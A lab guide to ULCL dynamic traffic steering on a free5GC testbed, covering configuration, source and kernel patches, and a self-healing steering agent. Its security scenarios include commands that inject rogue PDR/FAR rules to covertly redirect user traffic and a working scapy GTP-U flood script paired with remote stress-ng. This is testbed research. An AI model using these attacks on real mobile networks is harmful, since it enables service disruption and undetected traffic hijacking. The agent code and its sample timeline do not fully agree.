5G Core · User Plane Control

ULCL Dynamic
Traffic Steering

This guide demonstrates how to implement Dynamic Traffic Steering in a 5G Core network using the Uplink Classifier (ULCL). With the free5GC framework, it demonstrates how to route user traffic across different Anchor UPFs efficiently, adapting to real-time requirements.

Part of the network topology implementation, we used this guide by s5uishida.
It describes a simple network topology that uses free5GC and UERANSIM for ULCL with one I-UPF and two PSA-UPFs. We used go-upf for the implementation of the UPFs.

free5GC v3.3.0 UERANSIM gtp5g v0.8.6

Topology

Topology

The VMs deployed in the setup are listed below:

VM IP Address Role
free5gc-core 10.160.101.137 5G Core (AMF, SMF, PCF, UDM, NRF, …)
ueransim-gnb 10.160.101.120 gNB simulator (UERANSIM)
ueransim-ue 10.160.101.121 UE simulator (UERANSIM)
i-upf 10.160.101.143 Intermediate / Branching UPF (ULCL node)
psa-upf 10.160.101.148 PSA anchor UPF 1 — default path
psa-upf2 10.160.101.198 PSA anchor UPF 2 — steered path
server 10.160.101.145 Server / Data Network

UE Details

UE IMSI DNN OP/OPc
UE 208930000000001 internet OPc

Traffic Paths

Path A — Default
UE gNB I-UPF PSA-UPF Server
Trigger: All traffic (catch-all)
Path B — Steered
UE gNB I-UPF PSA-UPF2 Server
Trigger: 10.160.101.145/32 or dynamic API call

Prerequisites

Required software versions for all VMs.

Component Version Notes
free5GC v3.3.0 With SMF source patches (Section 6)
UERANSIM latest
gtp5g v0.8.6 With kernel patch (Section 5) — required on all UPF VMs
Go 1.21+
Ubuntu 20.04 / 22.04 All VMs

Build gogtp5g-tunnel

Run on I-UPF and PSA-UPF VMs only.

bashi-upf & psa-upf
# Run on I-UPF and PSA-UPF VMs
git clone https://github.com/free5gc/go-gtp5gnl ~/go-gtp5gnl
cd ~/go-gtp5gnl/cmd/gogtp5g-tunnel
go build .
PSA-UPF2 notePSA-UPF2 does not need gogtp5g-tunnel unless actively debugging.

SMF Configuration

File: /home/localadmin/free5gc/config/smfcfg.yaml — see the full document for the complete YAML. Key points:

PSA-UPF2 requires a dummy IP poolWithout a pool (e.g. 10.61.0.0/16), ActivateTunnelAndPDR() panics.
I-UPF must have no poolsIt is a branching node only.
go-upf does not support N6 in ifListOnly declare N3/N9 in upfcfg.yaml. N6 is only used in smfcfg.yaml.

UE Routing

File: /home/localadmin/free5gc/config/uerouting.yaml

yamlconfig/uerouting.yaml
ueRoutingInfo:
  UE1:
    members:
    - imsi-208930000000001
    topology:
      - A: gNB1
        B: I-UPF
      - A: I-UPF
        B: PSA-UPF
    specificPath:
      - dest: 10.160.101.145/32
        path: [I-UPF, PSA-UPF]
      - dest: 10.160.101.145/32
        path: [I-UPF, PSA-UPF2]
      - dest: 8.8.8.8/32
        path: [I-UPF]
specificPath must start with I-UPFRequired so FindULCL() identifies the branching point.

gtp5g Kernel Module Patch

Apply on every UPF VM: I-UPF, PSA-UPF, and PSA-UPF2.

ProblemThe kernel module drops packets with "No PDR match" because the UE address check only tests the source IP, failing on the downlink direction.

Patch — pdr.c (~line 308)

PDR UE Address Check~/gtp5g/src/pfcp/pdr.c
if (pdi->ue_addr_ipv4)
if (!(pdr->af == AF_INET && target_addr && *target_addr == pdi->ue_addr_ipv4->s_addr)) continue;
+if (pdi->ue_addr_ipv4)
+ if (!(pdr->af == AF_INET && target_addr && (*target_addr == pdi->ue_addr_ipv4->s_addr || iph->daddr == pdi->ue_addr_ipv4->s_addr))) continue;

Rebuild and Reload

bash
cd ~/gtp5g && make clean && make
sudo cp ~/gtp5g/gtp5g.ko /lib/modules/$(uname -r)/kernel/drivers/net/gtp5g.ko
sudo rmmod gtp5g 2>/dev/null && sudo modprobe gtp5g
lsmod | grep gtp5g

SMF Source Code Patches

Three Go source patches fixing bugs in free5GC v3.3.0 that prevent ULCL from working correctly.

Patch 1 — Fix PSA2 N3 Interface Check

SelectPSA2() — N3 requirementcontext/bp_manager.go
if upf.N3Interfaces != nil && upf.N9Interfaces != nil {
+if upf.N9Interfaces != nil {

Patch 2 — Fix FindULCL Nil Pointer

FindULCL() — nil guardcontext/bp_manager.go
// Inside the branching point search loop:
+if psa1CurDPNode == nil { break }

Patch 3 — Fix SDF Filter Direction

Uplink SDF filter Src/Dst — fix at BOTH occurrencesprocessor/ulcl_procedure.go (~line 222 & ~line 381)
FlowDespcription.Src = dest.DestinationIP
FlowDespcription.Dst = smContext.PDUAddress.To4().String()
+FlowDespcription.Src = smContext.PDUAddress.To4().String()
+FlowDespcription.DstPorts = dstPort
+FlowDespcription.Dst = dest.DestinationIP

Rebuild SMF

bash
cd ~/free5gc/NFs/smf
go build ./...
go build -o ~/free5gc/bin/smf ./cmd/

Dynamic Steering API

REST endpoint on the SMF that triggers live path switching via PFCP Session Modification.

api_steering.go

gosbi/api_steering.go
package sbi

import (
    "net/http"
    "github.com/gin-gonic/gin"
)

func (s *Server) getSteeringRoutes() []Route {
    return []Route{
        { Name: "Steer Traffic", Method: http.MethodPost, Pattern: "/steer", APIFunc: s.HTTPSteerTraffic },
    }
}

func (s *Server) HTTPSteerTraffic(c *gin.Context) {
    s.Processor().HandleSteerTraffic(c)
}

Startup Order

1
Start I-UPF i-upf
bash
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
2
Start PSA-UPF psa-upf
bash
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
3
Start PSA-UPF2 psa-upf2
bash
sudo ip link delete upfgtp 2>/dev/null
cd ~/gtp5g/go-upf && sudo ./upf -c upfcfg.yaml &
4
Start Core free5gc-core
bash
cd ~/free5gc && ./build.sh
5
Start gNB ueransim-gnb
bash
cd ~/UERANSIM/build
sudo ./nr-gnb -c ../config/free5gc-gnb.yaml &
6
Start UE and verify ueransim-ue
bash
cd ~/UERANSIM/build
sudo ./nr-ue -c ../config/free5gc-ue.yaml &
sleep 3 && ping -I uesimtun0 10.160.101.145 -c 3

iptables / Routing Rules

PSA-UPF (10.160.101.148)

bash
sudo iptables -t nat -A POSTROUTING -s 10.60.0.0/16 -o <N6_IFACE> -j MASQUERADE
sudo ip route add 10.160.101.145/32 dev <N6_IFACE>

PSA-UPF2 (10.160.101.198)

bash
sudo iptables -t nat -A POSTROUTING -s 10.60.0.0/16 -o <N6_IFACE> -j MASQUERADE
sudo ip route add 10.160.101.145/32 dev <N6_IFACE>

Server VM

bash
sudo ip route add 10.60.0.0/16 via 10.160.101.148
sudo ip route add 10.60.0.0/16 via 10.160.101.198 metric 200

Using the Dynamic Steering API

The SMF binds to 127.0.0.2:8000. All curl commands must be run on the core VM with sudo.

Use steer.sh script

bash
./steer.sh 10.160.101.148   # steer to PSA-UPF
./steer.sh 10.160.101.198   # steer to PSA-UPF2

Verification Checklist

UE connectivityping -I uesimtun0 10.160.101.145 — confirm packets flow before steering.
Monitor traffic pathsRun sudo tcpdump -i upfgtp -n simultaneously on both PSA-UPF VMs.
Live path switchFire the steering API — traffic moves immediately with no ping interruption.
No kernel PDR errorssudo dmesg | tail -10 — should NOT contain No PDR match this skb.

Troubleshooting

SMContext not found — curl returns 404
The UE is not connected. Reconnect it.
"No PDR match this skb" in dmesg
The gtp5g kernel patch was not applied or the old module is still loaded.
"file exists" error on UPF start
sudo ip link delete upfgtp
Verified implementationLive bidirectional switching (PSA-UPF ↔ PSA-UPF2) with no session interruption confirmed on free5GC v3.3.0 with gtp5g v0.8.6.

Scenario 1 — The Invisible Redirect

A rogue PDR/FAR is injected directly into the I-UPF kernel, bypassing the SMF entirely. Traffic is silently redirected to an unauthorized PSA-UPF while the control plane remains unaware.

PrerequisitesThe testbed must be fully running with an active UE session. Confirm ping -I uesimtun0 10.160.101.145 succeeds.

Phase 1 — Baseline capture

1
Measure baseline RTT ueransim-ue
bash
ping -I uesimtun0 10.160.101.145 -c 30
2
Confirm authorized FAR destination i-upf
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far | grep -A 8 '"PeerAddr"'
3
Save baseline snapshot i-upf
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far > ~/baseline_far.json
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list pdr > ~/baseline_pdr.json

Phase 2 — Attack injection

4
Start continuous ping ueransim-ue — terminal 1
bash
ping -I uesimtun0 10.160.101.145 -c 1000 -i 0.5
5
Start wire capture i-upf — terminal 2
bash
sudo tcpdump -i ens18 -n 'udp port 2152'
6
Inject rogue FAR 99 i-upf — terminal 3
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel add far upfgtp 1:99 \
  --action 2 \
  --hdr-creation 256 2 10.160.101.198 2152
7
Inject rogue PDR 99 i-upf — terminal 3
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel add pdr upfgtp 1:99 \
  --pcd 1 --hdr-rm 0 --ue-ipv4 10.60.0.1 --f-teid 2 10.160.101.143 --far-id 99
8
Verify injection i-upf — terminal 3
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel list far | grep -A 8 '"PeerAddr"'
9
Measure attack RTT ueransim-ue
bash
ping -I uesimtun0 10.160.101.145 -c 20

Phase 3 — Recovery

10
Remove rogue rules i-upf
bash
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel delete pdr upfgtp 1:99
sudo ~/go-gtp5gnl/cmd/gogtp5g-tunnel/gogtp5g-tunnel delete far upfgtp 1:99
11
Confirm authorized path restored i-upf
bash
sudo tcpdump -i ens18 -n 'udp port 2152' -c 20

Phase 4 — Observation & Results

Key DiscoveryThe SMF sends rules but cannot verify the UPF's kernel state. Rogue PDR/FAR injection bypasses SMF oversight entirely.
Measurement Baseline During Attack Recovery
Traffic Destination 10.160.101.148 (Authorized) 10.160.101.198 (Rogue) 10.160.101.148
SMF Awareness Full awareness None (blind to rogue rule) Full awareness
Avg RTT 1.385 ms 1.477 ms 1.385 ms
Packet Loss 0% 0% 0%
CP/UP Divergence No Yes ⚠ No

Scenario 2 — ULCL Resource Exhaustion

The I-UPF is the single classification point for all UE traffic. By flooding it with crafted GTP-U packets using real TEIDs, an attacker forces the gtp5g kernel module to evaluate its full PDR rule set for every packet — while simultaneously exhausting CPU via stress-ng.

PrerequisitesTestbed fully running. Confirm ping -I uesimtun0 10.160.101.145 succeeds. Attacker VM 10.160.101.202 required.

Attacker VM Setup

bashattacker — 10.160.101.202
sudo apt update && sudo apt install -y python3-scapy tcpreplay stress-ng
python3 -c "from scapy.contrib.gtp import GTP_U_Header; print('Scapy GTP OK')"
ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa
ssh-copy-id localadmin@10.160.101.143
ssh localadmin@10.160.101.143 "echo SSH OK"

Discover Real TEIDs

bashi-upf
sudo tshark -i ens18 -f "udp port 2152" -T fields -e gtp.teid -c 10 2>/dev/null

Create flood.py

python~/scenario_2/flood.py — attacker
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import random

IUPF_IP    = "10.160.101.143"
GTP_PORT   = 2152
IFACE      = "ens18"
REAL_TEIDS = [0x00000001, 0x00000002]
TOTAL      = 5000

print(f"[*] Preparing {TOTAL} packets...")
packets = []
for i in range(TOTAL):
    pkt = (Ether() / IP(src="10.160.101.202", dst=IUPF_IP) /
           UDP(sport=RandShort(), dport=GTP_PORT) /
           GTP_U_Header(teid=random.choice(REAL_TEIDS)) /
           IP(src="10.60.0.1", dst="10.160.101.145") /
           UDP(sport=RandShort(), dport=random.randint(1024, 65535)) /
           Raw(load="X" * 512))
    packets.append(pkt)

loop = 0
while True:
    sendpfast(packets, pps=100000, iface=IFACE)
    loop += 1
    print(f"[*] {TOTAL * loop} packets sent...")

Create attack.sh

bash~/scenario_2/attack.sh
#!/bin/bash
echo "[*] Attack starting from $(hostname) (10.160.101.202)"
echo "[*] Target: I-UPF (10.160.101.143)"
ssh localadmin@10.160.101.143 "stress-ng --cpu 4 --timeout 60s" &
sleep 1
sudo python3 ~/scenario_2/flood.py

Phase 1 — Baseline

1
Gold-tier latency monitor ueransim-ue
bash
while true; do
    RESULT=$(curl -s -o /dev/null -w "%{time_total}" --interface uesimtun0 http://10.160.101.145/)
    echo "$(date +%H:%M:%S) ${RESULT}s"; sleep 1
done
2
I-UPF CPU monitor free5gc-core
bash
while true; do
    echo -n "$(date +%H:%M:%S) I-UPF CPU: "
    ssh localadmin@10.160.101.143 "top -bn1 | grep 'Cpu(s)' | awk '{print \$2}'"
    sleep 2
done
3
Launch combined attack attacker
bash
./scenario_2/attack.sh
Scenario 2 conclusionThe ULCL architecture creates an inherent single-threaded classification bottleneck at the I-UPF. Under GTP-U flood conditions, gtp5g concentrates all processing on one core, reaching 60%+ combined kernel and interrupt load — while PSA-UPFs remain completely idle.

Scenario 3 — Intent-Based Self-Healing

Scenario 3 architecture

The N9 link between I-UPF and PSA-UPF is subjected to a gray failure — sustained packet loss and delay that degrades user quality without triggering a full link-down event. An autonomous agent running on the core VM monitors the N9 path health via periodic ICMP probes and, upon detecting degradation, invokes the SMF steering API to relocate traffic to PSA-UPF2. The entire detect-decide-act cycle completes in under 6 seconds with zero human intervention.

PrerequisitesTestbed fully running with UE connected. Passwordless SSH from free5gc-core (as root) to both i-upf and ueransim-ue must be configured. Confirm sudo ssh localadmin@10.160.101.143 echo OK and sudo ssh localadmin@10.160.101.121 echo OK succeed without a password prompt.

Architecture — How It Works

The agent runs on free5gc-core and SSHes into I-UPF to send 10 ICMP probe packets toward PSA-UPF every ~2 seconds. Both probe packets and UE GTP-U packets traverse the same physical interface (ens18) on I-UPF. When tc netem is applied to ens18, it drops packets from both flows equally — so probe loss is a reliable proxy for UE path health.

Component Location Role
agent.py free5gc-core Autonomous healing agent — detects N9 degradation, triggers steering
measurement.py free5gc-core Post-processing — reads pings.txt, calculates 3-phase MOS
measurement_stream.py free5gc-core Video stream analysis — reads server-side pcap, calculates MOS from RTP sequence gaps
steer.sh free5gc-core Manual steering script — calls SMF API
pings.txt ueransim-ue Live UE ping log — ground truth for packet loss measurement

Setup — Configure Passwordless SSH

bashfree5gc-core — as root
sudo ssh-keygen -t rsa -N "" -f /root/.ssh/id_rsa
sudo ssh-copy-id localadmin@10.160.101.143
sudo ssh-copy-id localadmin@10.160.101.121
sudo ssh localadmin@10.160.101.143 echo "i-upf OK"
sudo ssh localadmin@10.160.101.121 echo "ueransim-ue OK"

agent.py

Place at ~/scenario_3/agent.py on free5gc-core. Detection logic: if ICMP probe loss ≥ 10% on any probe cycle, immediately invoke the SMF steering API to reroute traffic to PSA-UPF2.

python~/scenario_3/agent.py — free5gc-core
#!/usr/bin/env python3
import subprocess, time, re, logging

I_UPF_IP      = "10.160.101.143"
UE_IP         = "10.160.101.121"
MONITOR_IP    = "10.160.101.148"
FAILOVER_IP   = "10.160.101.198"
SUPI          = "imsi-208930000000001"
STEER_URL     = "http://127.0.0.2:8000/nsmf-steering/v1/steer"
LOSS_TRIGGER  = 10.0
UE_PINGS_FILE = "/home/localadmin/scenario_3/pings.txt"

logging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')
log = logging.getLogger()

def ping_loss_detail(ip):
    r = subprocess.run(["ssh", f"localadmin@{I_UPF_IP}", f"ping -c 10 -i 0.2 -W 1 {ip}"],
        capture_output=True, text=True)
    loss = 100.0; sent = received = lost = 0; seqs = []
    for line in r.stdout.splitlines():
        m = re.search(r'icmp_seq=(\d+)', line)
        if m: seqs.append(int(m.group(1)))
        if "packet loss" in line:
            p = line.split(",")
            try: sent=int(p[0].strip().split()[0]); received=int(p[1].strip().split()[0]); lost=sent-received; loss=float(p[2].strip().split("%")[0])
            except: pass
    return loss, sent, received, lost, seqs[0] if seqs else None, seqs[-1] if seqs else None

def steer(target_ip):
    for i in range(1, 21):
        r = subprocess.run(["curl","-s","-v","-X","POST",STEER_URL,"-H","Content-Type: application/json","-d",f'{{"supi":"{SUPI}","targetUpf":"{target_ip}"}}'],
            capture_output=True, text=True, timeout=10)
        upf = re.search(r'UPF=([\d.]+)', r.stdout+r.stderr, re.IGNORECASE)
        far = re.search(r'FARID=(\d+)', r.stdout+r.stderr, re.IGNORECASE)
        log.info(f"  Steer attempt {i}: FARID={far.group(1) if far else None} UPF={upf.group(1) if upf else None}")
        if upf and upf.group(1) == target_ip:
            log.info(f"SUCCESS — steered to {target_ip}"); return True
        time.sleep(0.1)
    return False

t_start = time.time(); first_lost = last_lost = None; total_lost = total_sent = probe_count = 0
log.info(f"Agent started — monitoring N9: {I_UPF_IP} -> {MONITOR_IP}")

while True:
    loss, sent, recv, lost, fs, ls = ping_loss_detail(MONITOR_IP)
    log.info(f"N9 probe: loss={loss:.1f}% sent={sent} recv={recv} lost={lost} seqs={fs}-{ls}")
    if loss >= LOSS_TRIGGER:
        total_lost += lost; total_sent += sent; probe_count += 1
        last_lost = time.time()
        if first_lost is None: first_lost = last_lost
        log.warning(f"GRAY FAILURE detected! N9 loss={loss:.1f}% — healing immediately!")
        t_heal = time.time()
        if steer(FAILOVER_IP):
            log.info(f"Time to heal: {time.time()-t_heal:.1f}s  Total convergence: {time.time()-first_lost:.1f}s")
            break
    time.sleep(2)

ICMP Ping Runbook

1
Set baseline path to PSA-UPF free5gc-core
bash
sudo ./steer.sh 10.160.101.148
2
Start UE ping — ground truth capture ueransim-ue
bash
ping -I uesimtun0 10.160.101.121 | tee /path/to/folder/pings.txt
3
Start autonomous agent free5gc-core
bash
cd ~/scenario_3 && sudo python3 agent.py
4
Add baseline delay, then inject gray failure i-upf
bash
sudo tc qdisc add dev ens18 root netem delay 15ms
# Wait 15s for clean baseline, then inject failure
sudo tc qdisc change dev ens18 root netem delay 15ms loss 20% \
  && echo "FAILURE_START: $(date '+%H:%M:%S.%3N')"
5
Wait for agent to detect and heal (~2–6s), then remove loss i-upf
bash
sudo tc qdisc change dev ens18 root netem delay 15ms \
  && echo "FAILURE_END: $(date '+%H:%M:%S.%3N')"
6
Wait 25–30s for recovery phase, then stop and clean up
bash
# ueransim-ue: Ctrl+C to stop ping
# i-upf: remove tc rule
sudo tc qdisc del dev ens18 root
# free5gc-core: reset path
sudo ./steer.sh 10.160.101.148
7
Analyse results free5gc-core
bash
sudo python3 ~/scenario_3/measurement.py

Phase 3 — Results (ICMP)

bashexpected output
# Agent output
2026-03-16 09:37:28 Agent started — monitoring N9: 10.160.101.143 -> 10.160.101.148
2026-03-16 09:37:46 GRAY FAILURE detected! N9 loss=30.0% — healing immediately!
2026-03-16 09:37:46 SUCCESS — steered to 10.160.101.198
2026-03-16 09:37:46 Time to heal: 0.2s  Total convergence: 5.6s

# measurement.py output
PHASE 1 — Baseline   loss=0.0%   RTT=1.4ms  MOS=4.41  Excellent
PHASE 2 — Gray Fail  loss=23.1%  RTT=101ms  MOS=2.45  Poor
PHASE 3 — Recovery   loss=0.0%   RTT=1.5ms  MOS=4.41  Excellent

Video Stream Variant — Full Runbook

For a more realistic QoE measurement, replace the ICMP ping with an FFmpeg RTP video stream. This variant captures actual video packet loss across the three phases and analyses it with measurement_stream.py.

Prerequisites for video stream variantInstall FFmpeg on ueransim-ue and the server VM: sudo apt install -y ffmpeg. The stream uses RTP/UDP over port 5201. Stop nginx on the server to avoid port conflicts.
1
Set baseline path to PSA-UPF free5gc-core
bash
sudo ./steer.sh 10.160.101.148
2
Start packet capture on the server server — 10.160.101.145

Start this before the FFmpeg stream so no packets are missed.

bash
sudo tcpdump -i eth0 -n udp port 5201 -w ~/stream.pcap
3
Start RTP video receiver on server server — 10.160.101.145
bash
ffmpeg -i udp://10.160.101.145:5201 -c copy ~/output.ts 2>&1 | grep -v "^$"

The receiver listens on port 5201 and saves the stream to output.ts. It starts silently waiting for the sender.

4
Start autonomous agent free5gc-core
bash
cd ~/scenario_3 && sudo python3 agent.py

Leave this running in its own terminal. It will print probe results every ~2 seconds.

5
Start FFmpeg RTP stream from UE ueransim-ue
bash
ffmpeg -re -f lavfi -i testsrc=size=640x480:rate=30 \
  -c:v libx264 -preset ultrafast -tune zerolatency \
  -f rtp "rtp://10.160.101.145:5201?localaddr=10.60.0.1" \
  2>&1 | grep -E "fps|bitrate|time"

Sends a synthetic 640x480 test video at 30fps bound to the UE tunnel interface (10.60.0.1). Traffic flows: UE → I-UPF → PSA-UPF → Server.

6
Wait 15–20 seconds to capture clean baseline packets

Confirm the stream is flowing by checking the server receiver terminal. Verify the capture is active:

bashserver
ls -lh ~/stream.pcap   # file size should be growing
7
Add baseline delay, then inject gray failure i-upf
bash
# Add 15ms baseline delay first
sudo tc qdisc add dev ens18 root netem delay 15ms

# Wait 10s, then inject gray failure (loss + delay)
sleep 10 && \
sudo tc qdisc add dev ens18 root netem delay 15ms loss 20% && \
echo "FAILURE_START: $(date '+%H:%M:%S.%3N')"

The 20% packet loss combined with 15ms delay triggers the agent's 10% loss threshold within 1–2 probe cycles.

8
Wait for agent to detect and heal (~2–6s) free5gc-core monitor

Watch the agent terminal for:

bashexpected agent output
GRAY FAILURE detected! N9 loss=30.0% — healing immediately!
  Steer attempt 1: FARID=5 UPF=10.160.101.198
SUCCESS — steered to 10.160.101.198
Time to heal: 0.2s  Total convergence: 5.6s

Once SUCCESS appears, immediately remove the packet loss but keep the delay on i-upf:

bashi-upf
sudo tc qdisc change dev ens18 root netem delay 15ms && \
echo "FAILURE_END: $(date '+%H:%M:%S.%3N')"
9
Wait 25–30 seconds to capture recovery phase, then stop everything
bash
# ueransim-ue: stop FFmpeg sender
Ctrl+C

# server: stop receiver and capture
Ctrl+C          # stop ffmpeg receiver
sudo pkill tcpdump

# i-upf: remove tc rule
sudo tc qdisc del dev ens18 root

# free5gc-core: reset path back to PSA-UPF
sudo ./steer.sh 10.160.101.148
10
Copy pcap to free5gc-core and analyse free5gc-core
bash
# Copy pcap from server
scp localadmin@10.160.101.145:~/stream.pcap ~/scenario_3/stream.pcap

# Run analysis
sudo python3 ~/scenario_3/measurement_stream.py 2>/dev/null

Video Stream Results

Expected output from measurement_stream.py after a successful three-phase run:

bashexpected output — measurement_stream.py
==================================================
Packets Measurement Results with Phases
==================================================

PHASE 1 — Baseline (before failure)
--------------------------------------------------
Packets received : 900
Packets lost     : 1
Packet loss      : 0.11%
Average inter-arrival: 32.79 ms
Estimated MOS    : 4.50

PHASE 2 — Gray Failure
--------------------------------------------------
Packets received : 360
Packets lost     : 104
Packet loss      : 22.41%
Average inter-arrival: 42.25 ms
Estimated MOS    : 2.00

PHASE 3 — Recovery (after healing)
--------------------------------------------------
Packets received : 583
Packets lost     : 16
Packet loss      : 2.67%
Average inter-arrival: 33.71 ms
Estimated MOS    : 4.00

==================================================
OVERALL
==================================================
Packets received : 1843
Packets lost     : 121
Packet loss      : 6.16%
Estimated MOS    : 3.50
Phase Pkts Received Pkts Lost Loss % MOS Quality
Phase 1 — Baseline 900 1 0.11% 4.50 Excellent
Phase 2 — Gray Failure 360 104 22.41% 2.00 Poor
Phase 3 — Recovery 583 16 2.67% 4.00 Good
Overall 1843 121 6.16% 3.50 Fair
Video stream vs ICMP pingThe video stream variant shows a sharper MOS drop during the gray failure phase (2.00 vs 2.45 from ICMP) because RTP packet loss causes visible frame artifacts that the E-Model penalises more heavily. The recovery phase MOS of 4.00 reflects residual jitter from the path switch, settling toward baseline within seconds.
Scenario 3 conclusionThe autonomous agent implements an active probing strategy analogous to BFD and Cisco IP SLA, adapted for the 5G ULCL context. Upon detecting gray failure on the N9 path, it invokes a PFCP Session Modification via the SMF REST API — rerouting traffic to the backup PSA-UPF2 in under 6 seconds. MOS recovers from Poor (2.45) to Excellent (4.41)

Timeline showing the process of the agent:

bashexpected output — agent.py
2026-03-27 10:35:18,548 Agent started — monitoring N9: 10.160.101.143 -> 10.160.101.148
2026-03-27 10:35:20,893 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:25,217 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:29,553 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:33,909 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:38,245 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:42,573 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:46,917 N9 loss=0.00%  sent=10  received=10  lost=0  seqs=1-10
2026-03-27 10:35:53,284 N9 loss=10.00%  sent=10  received=9  lost=1  seqs=1-10
2026-03-27 10:35:53,284 GRAY FAILURE detected! loss=10.0%
2026-03-27 10:35:59,341 N9 loss=20.00%  sent=10  received=8  lost=2  seqs=2-10
2026-03-27 10:35:59,341 Confirmed — healing now!
2026-03-27 10:36:02,369   Steer attempt 1: FARID=5
2026-03-27 10:36:02,495   Steer attempt 2: FARID=7
2026-03-27 10:36:02,495 SUCCESS — steered to 10.160.101.198
2026-03-27 10:36:02,495 ==================================================
2026-03-27 10:36:02,495 CONVERGENCE METRICS
2026-03-27 10:36:02,496   Time to heal            : 3.2s
2026-03-27 10:36:02,496   Total convergence       : 9.2s
2026-03-27 10:36:02,496 ==================================================
2026-03-27 10:36:02,496 PACKET LOSS SUMMARY
2026-03-27 10:36:02,496   First loss detected     : 10:35:53
2026-03-27 10:36:02,496   Last loss detected      : 10:35:59
2026-03-27 10:36:02,496 =================================================
Timestamp Network State Event / Action Loss %
10:35:18 Steady State Monitoring started (I-UPF → PSA-UPF) 0.0%
10:35:53 Detection Gray Failure Detected: First dropped packet seen 10.0%
10:35:59 Confirmation Failure persists; Agent triggers Healing Logic 20.0%
10:36:02 Steering Successful path steering
Final Outcome Total System Convergence achieved in 9.2 seconds Healed
Event Explanation: This array illustrates the Closed-Loop Control cycle. The agent spends the first 35 seconds confirming network health. At 10:35:53, the "Gray Failure" threshold is breached. To avoid "flapping" (false positives), the agent waits for a second confirmation cycle (approx. 6 seconds) before successfully invoking the SMF REST API to shift traffic to the backup PSA-UPF2.